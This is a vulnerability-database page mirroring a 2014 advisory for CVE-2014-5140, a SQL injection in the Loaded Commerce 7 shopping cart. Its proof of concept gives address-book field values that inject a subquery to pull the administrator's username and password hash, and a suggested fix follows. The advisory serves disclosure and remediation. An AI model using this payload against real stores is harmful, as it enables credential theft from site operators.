Lucene search
K

LoadedCommerce7 - Systemic Query Factory

🗓️ 07 Sep 2014 00:00:00Reported by Breaking.TechnologyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

LoadedCommerce7 Systemic Query Factory Vulnerability - Critical SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
LoadedCommerce7 - Systemic Query Factory Vulnerability
8 Sep 201400:00
zdt
CVE
CVE-2014-5140
3 Jan 202019:50
cve
Cvelist
CVE-2014-5140
3 Jan 202019:50
cvelist
EUVD
EUVD-2014-5038
7 Oct 202500:30
euvd
exploitpack
LoadedCommerce7 - Systemic Query Factory
7 Sep 201400:00
exploitpack
NVD
CVE-2014-5140
3 Jan 202020:15
nvd
Packet Storm
Loaded Commerce 7 Shopping Cart SQL Injection
8 Sep 201400:00
packetstorm
Prion
Sql injection
3 Jan 202020:15
prion
seebug.org
LoadedCommerce7 - Systemic Query Factory Vulnerability
18 Sep 201400:00
seebug
Title:     LoadedCommerce7 Systemic Query Factory Vulnerability

Advisory:  http://breaking.technology/advisories/CVE-2014-5140.txt

Credits:   Discovered by Breaking Technology Research Labs 2014-06-30

Reference: CVE-2014-5140 - Assigned 31 June 2014

Timeline:
           Vendor notified - 29 July 2014
           Vendor confirmed exploit 30 July 2014


Severity:           Critical
Attack Complexity:  Minimal
Classification:     SQL injection, unsafe string replacement

Description:

	Loaded Commerce 7 shopping cart/online store suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection.

Proof of Concept:

	Have a valid customer account and create a new contact in your address book using the following values.


	First name: :entry_lastname,
	Last Name : ,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#

	The new contact will be added to your address book with the admin hash as the contact's street address

Suggested Fix:
	Sanitize all user input before using it as any part of a query-- specifically remove or encode the colon (:) character before passing it to a query value.  A similar fix was issued for tomatocart, available at
        https://github.com/tomatocart/TomatoCart-v1/pull/238

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation